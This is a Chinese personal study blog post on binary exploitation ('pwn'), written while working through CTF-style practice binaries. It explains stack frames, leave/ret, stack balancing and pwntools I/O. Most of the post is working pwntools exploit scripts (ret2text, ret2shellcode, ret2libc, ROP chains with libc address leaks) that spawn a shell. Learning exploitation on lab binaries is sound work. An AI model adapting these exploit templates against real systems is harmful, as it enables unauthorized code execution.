文章

Pwn学习日记 3

Pwn学习日记 3

序-加深调用栈理解

时隔五年半,我又捡起来了,现在学起来比较顺畅。

我经常犯一个毛病,把学习笔记搞得像备课,例图,例句事无巨细,但大多是在抄老师或书上的内容。没什么必要,所以这里只记录我的迷惑,还有基本原理、exp之类。不会像前两篇一样抄PPT。

前面的复习中,思考了一些问题,现在补一下回答。

Q:为什么脚本不用recvline那一行,直接写sendline也可以?

A:程序一直在运行,它并不会因为你没“接”它的输出,就不读你的输入。输入输出是两个独立的管道,注意一般题目会关闭缓冲区。

  1. 缓冲区与异步性 (Buffering)

当你运行一个程序时,stdout(程序输出)和 stdin(你的输入)是两个独立的管道:

  • 程序侧:它执行 puts("No system...") 后,数据就被丢进了输出缓冲区。它不会停在那里等你去读,而是紧接着执行下一步——gets(s)
  • 脚本侧:当你调用 io.sendline(payload) 时,pwntools 会把数据写入程序的 stdin

即使你没有先用 recvline() 把那句“No system…”取走,这句对话也只是暂时停留在操作系统的内核缓冲区里。

  1. gets() 的阻塞机制

程序的执行流程是这样的:

  • puts (输出信息)
  • gets (进入阻塞状态,等待输入)

程序执行到 gets 时会停住,直到它的 stdin 管道里有了数据(也就是你发送的 payload)。它并不在乎你是否已经读了它之前 puts 出来的东西。

Q:为什么我可以远程连接软件后,interactive?这个函数为什么能够想什么时候打开就什么时候打开,而不是反弹shell那样有个公网接收?

A:

  1. 本质区别:控制流的方向

我们可以对比一下你现在的做法(interactive())和反弹 Shell 的区别:

interactive():接管现有的连接

当你使用 io = remote('ip', port)io = process('./pwn') 时,你和目标程序之间已经建立了一根双向管道

  • 初期:你的 Python 脚本(pwntools)握着这根管子,按照你写的代码(如 sendline)往里灌数据。
  • 调用 interactive():Python 脚本停止自动运行,它把你的键盘(stdin)*和*这根管子的输入接在一起,把这根管子的输出你的屏幕(stdout)接在一起。
  • 结论:连接一直都在,只是 Python 脚本从“自动模式”切换到了“手动透传模式”。

反弹 Shell (Reverse Shell):创建新的连接

  • 目标程序主动发起一个新的网络连接,去寻找你公网上的监听端口(如 nc -lvp 4444)。
  • 如果没有这个公网接收端,目标程序的连接请求就会失败。
  1. 为什么能“随时打开”?

只要连接没断,你可以在脚本的任何地方、任何时间调用 interactive()

  • 同步性:即使你已经利用溢出漏洞执行了 system('/bin/sh'),此时目标机器上确实启动了一个 Shell。这个 Shell 会继承目标程序的输入输出流(也就是那根连向你电脑的管子)。
  • 等待性:那个新启动的 Shell 正乖乖地坐在管子的另一头,等着从里面读指令。如果你不调用 interactive(),它就一直等;你一调用,你键盘输入的 ls 就会顺着管子飞过去。

后记: EIP(Instruction Pointer):永远指向当前要执行的下一条指令的地址。它指向的是代码段(.text)里的指令,跟栈(stack)完全无关!

EBP(Base Pointer / Frame Pointer):指向当前函数栈帧的“底部”(其实是 saved EBP 的位置)。 重要纠正:EBP 本身并不存储“上一个函数的返回地址”! EBP 存储的是上一个函数的 EBP 值(即上一个栈帧的 base pointer)。 返回地址是单独存在栈上的,位置是 [EBP + 4](上一格)。

pop是赋值操作,把栈顶的值赋给参数那个寄存器,然后esp+4

pop 掉最后一个局部变量时,ESP 和 EBP 都指向 saved EBP。此时操作是: pop ebp:把 [ESP](也就是 saved EBP 的值)赋值给 ebp → ebp 恢复成上一个函数的 EBP,同时 ESP += 4,现在 ESP 指向返回地址

ret : pop eip → EIP = 返回地址,ESP += 4,此时ebp、esp就完全回到了上一个函数的调用栈,并且eip指向返回地址。开始执行eip了。这就是leave ret操作。

ret2syscall实际上是用有效数据填充栈,构造一个栈,每个gadget都是一次调用函数,栈溢出的返回地址是我第一个gadget,第一个gadget执行完,eip指向下一个指令,就是栈的第二个gadget的地址,然后循环。

gets在获取值时,开辟好空间。比如输入ABC,那么栈里,是从esp到ebp(低地址到高地址),顺序是ABC,A在栈顶位置。pop顺序也是ABC,所以gets输入的payload gadget是正序。

栈只有一个,存了值和地址,每次pop或者ret。都会移动,而ret实际上是pop eip,就会把返回地址给eip,所以与其说是ret跳到下一个gadget,不如说是esp传值给eip,把控制流拽回来。

ret2libc2

这题没有/bin/sh了,有个system函数,有gets。但是gets读取数据到s里面,由于ASLR一定打开,所以无法确定s的地址。这题与上题区别就在于没有bin/sh,但是bss段地址是确定的。恰好bss段有一个buf2。

我自己做出来了,原理是后面才明白。这里payload是【垃圾数据 + gets@plt + system@plt + buf2 + buf2】

我一直不知道gets怎么向buf2传参,不是要写一个值到某个空间吗,那这不是算俩参数吗。但我写完这个payload居然有shell,但是只能执行一次命令。运行一次看目录,第二次cat flag就行,后来试了一下输入/bin/sh就可以一直有。

后面看老师讲解才知道,gets的参数就是空间位置。要从标准输入读取数据。在读取时会阻塞一下,等待用户输入。

我只输入ls,当然一次就没了。

这里可以自动传输bin/sh过去

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io = process('./ret2libc2')
elf = ELF('./ret2libc2')

gets = elf.plt['gets']
sys_addr = elf.plt['system']
buf2 = elf.symbols['buf2']

payload = b'K'*112 + p32(gets) + p32(sys_addr) +p32(buf2) + p32(buf2)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

栈平衡的理解

注意,父函数在调用子函数时,先压入参数,再压入返回地址。然后才是子函数的栈帧,所以子函数的参数在上两个字长的地方。

那就会出现一种情况,F1代表函数,F1x代表F1的参数。长调用链如:【垃圾字符 + F1 + F2 + F1x + F2x】。

最多只能两个带参的函数。F1向上找到自己的参数,返回地址被我改写为F2,所以调用F2,F2也找到自己的参数,但是此时F2的返回地址是F1的参数,无法继续跳转了。

所以出现了栈平衡。

这里有第二个栈平衡的解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process('./ret2libc2')
elf = ELF('./ret2libc2')

gets = elf.plt['gets']
sys_addr = elf.plt['system']
buf2 = elf.symbols['buf2']
pop_ebx_ret = 0x0804843d

payload = b'K'*112 + p32(gets) + p32(pop_ebx_ret) +p32(buf2) + p32(sys_addr) + p32(pop_ebx_ret) + p32(buf2)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

所谓“栈平衡”,就是利用 pop; ret 这种 gadget,让 ESP 每次 ret 后都能精准落在下一个函数上。

这里以上面payload为例,梳理栈溢出流程 和栈平衡原理。

上为高地址

栈发生溢出时候,垃圾数据覆盖buffer+4字节的ebp。写gets地址到ebp上面的返回地址。程序自己的栈帧ret前有一个leave操作,就是mov esp ebp;pop ebp;这个操作让esp跟ebp都指向了ebp地址(里面存的是垃圾数据),标准叫法是 “恢复栈帧基址” 或 “清理局部变量空间”。然后pop操作是把此时esp的值给ebp,esp里的值是4字节垃圾字符,所以ebp被赋予了4字节垃圾。由于pop操作,esp+4。此时esp指向gets地址。栈帧开始ret,ret就是pop eip(此时esp + 4,到了pop_ebx_ret)。此时eip指向gets地址,gets开始运行。gets运行完开始ret,eip指向pop_ebx_ret,esp+4指向buf2。pop_ebx_ret运行时把esp指向的buf2 pop掉了,所以esp + 4指向system,pop_ebx_ret开始ret,eip指向system,esp + 4指向第二个pop_ebx_ret。这个时候已经拿到shell了。

可以看到,在需要参数的函数返回地址上插入pop e*x; ret,可以让此函数的参数被移出,esp + 4移动到下一个函数上。

ret2libc3

这次通过输入puts的虚拟内存地址,打印它的真实地址,然后通过偏移确定system的真实地址。

没想到我直接成功打印出了puts地址。

随后通过偏移计算出system地址。现在需要一个/bin/sh,但没有这个,/bin/sh是通过绝对地址获取shell,sh是通过环境变量获取。有个fflush函数,可以截取fflush后两个字母传入。

明天写exp

这题要注意,给的libc是远程环境的,但是远程没开,只能本地打,本地程序用的是本机的,所以不要用给的libc,用本机的:/usr/lib/i386-linux-gnu/libc.so.6

这里用*until类函数,做到了io同步,并且使用cyclic生成字节,deadbeef写返回地址。其他没什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

io = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
io.sendlineafter(b' :',str(elf.got['puts']))
io.recvuntil(b'0x',drop = False)

libc_base = int(io.recvuntil(b'\n',drop = True),16) - libc.symbols['puts']

system = libc.symbols['system'] + libc_base

payload = flat(cyclic(60) , system , 0xdeadbeef , next(elf.search(b'sh\x00')))

io.sendlineafter(b' :',payload)

io.interactive()

习题课

pwn0(ret2text)

限时十分钟

1
2
3
4
5
6
7
8
❯ checksec level0
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn0/level0'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64位调用system时要栈对齐,注意不是栈平衡,要在跳转位置加一个ret的gadget,然后再补system地址。

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process('./level0')
io.recvline()
payload = b'K'*136 + p64(0x400431)+p64(0x400596)

io.send(payload)
io.interactive()


pwn1(ret2shellcode)

1
2
3
4
5
6
7
8
9
10
11
❯ checksec level1
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn1/level1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

犯了错误,recvuntil第一个参数要字节,要加b

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process('./level1')
elf = ELF('./level1')
shellcode = asm(shellcraft.sh())
io.recvuntil(b'0x')
buf = io.recvuntil(b'?',drop = True)
payload = shellcode.ljust(140,b'K') + p32(int(buf,16))
io.sendline(payload)
io.interactive()

pwn2(ret2libc)

这题gdb一直崩,说是程序又起了子进程导致的。弹幕说:

set follow-fork-mode parent,就是gdb level2进入调试后,输入set follow-fork-mode parent持续调试父进程。

1
2
3
4
5
6
7
8
9
❯ checksec level2
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2/level2'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

这里虽说是libc,但是我没怎么用plt表项。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = process('./level2')
elf = ELF('./level2')
system = elf.symbols['system']
bin_sh = next(elf.search(b'/bin/sh'))

payload = cyclic(0x88+0x4) + p32(system) + p32(0xdeadbeef) + p32(bin_sh)
io.recvuntil(b'Input:')
io.sendline(payload)
io.interactive()

pwn2_x64

1
2
3
4
5
6
7
8
9
❯ checksec level2_x64
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn2_x64/level2_x64'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

学了64位的区别,64为前6个函数参数放到rdi rsi rdx rcx r8 r9 这六个存器,多余参数才压入栈内。所以在返回地址之后必须pop rdi; ret,紧接着写/bin/sh,后面再写system地址就行。

这里还有一个问题,elf.plt获取到的地址不能用,地址也是IDA里显示的plt表项。有弹幕说是第一次调用就没调用对,所以不对。可是第一次调用没道理错误。

这里硬编码写IDA里面,main函数汇编代码里,call system的那个地址。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

io = process('./level2_x64')
io.recvline()
elf = ELF('./level2_x64')
system =0x40063E
bin_sh = next(elf.search(b'/bin/sh'))
poprdi=0x00000000004006b3
payload = cyclic(136) + p64(poprdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()

pwn3

1
2
3
4
5
6
7
8
9
❯ checksec level3
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3/level3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

这题是到现在最难的,主要是需要自己泄露地址,发送两次payload。这里犯了一个错误,我在调用write的时候用了elf.symbols,应该用elf.plt的。因为只有明确程序定义的函数比如int main,vulnerable_function才是内部函数,可以用symbols,而动态链接的题目,write、system等都是libc的,ida 显示为extern,应该用plt去拿地址。

这题还有一点是,第一个payload去拿write的真实地址,算出偏移,再用偏移计算system地址和binsh地址。但是只有这一个输入口,所以返回地址填写领再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

io = process('./level3')
elf = ELF('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io.recv()
payload = cyclic(140) + p32(elf.plt['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(elf.got['write']) + p32(4)
io.sendline(payload)

true_write = u32(io.recv(4)) # 我调试时,发现返回b'p\x82\xba\xeeInput:\n',这个p也是地址之一。

libc_base = true_write - libc.symbols['write']

true_system = libc_base + libc.symbols['system']
true_binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = cyclic(140) + p32(true_system) + p32(0xdeadbeef) + p32(true_binsh)
io.sendline(payload)
io.interactive()

smashes

1
2
3
4
5
6
7
8
9
❯ checksec smashes
[*] '/home/pwn/Desktop/pwn_learning/Exercises/smashes/smashes'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled

main函数没有加粗,这个main说是自己实现的。进入这个main

有canary保护,正常的栈溢出不行了,canary是在push ebp后压入一个值,如果溢出覆盖到返回地址,就会改写这个值,就触发__stack_chk_fail函数,退出程序。

我猜测,绕过这个需要先获取canary的值,然后溢出到它之前,塞入canary的值,继续溢出到返回地址。

插入这段canary的语句是:v4 = __readfsqword(0x28u);

老师后面遇到点问题,搁置

pwn3_x64

听完老师讲的逻辑后,直接写成功了,好开心,运行前改好逻辑,还要把32位的各类函数为64位。

改p32为p64、本地libc改成x86_64的,期间运行发现u32参数不是4字节,才想起要用u64。

1
2
3
4
5
6
7
8
9
❯ checksec level3_x64
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwn3_x64/level3_x64'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process('./level3_x64')
elf = ELF('./level3_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
io.recv()
payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0xc0cac01a) + p64(elf.plt['write']) + p64(elf.symbols['vulnerable_function'])
io.sendline(payload)

true_write = u64(io.recv(8))

libc_base = true_write - libc.symbols['write']

true_system = libc_base + libc.symbols['system']
true_binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = cyclic(0x80+0x8) + p64(pop_rdi_ret) + p64(true_binsh) + p64(true_system)
io.sendline(payload)
io.interactive()

有没有发现,我把0xdeadbeef这个魔数换成了0xc0cac01a(可口可乐),哈哈

本文由作者按照 CC BY 4.0 进行授权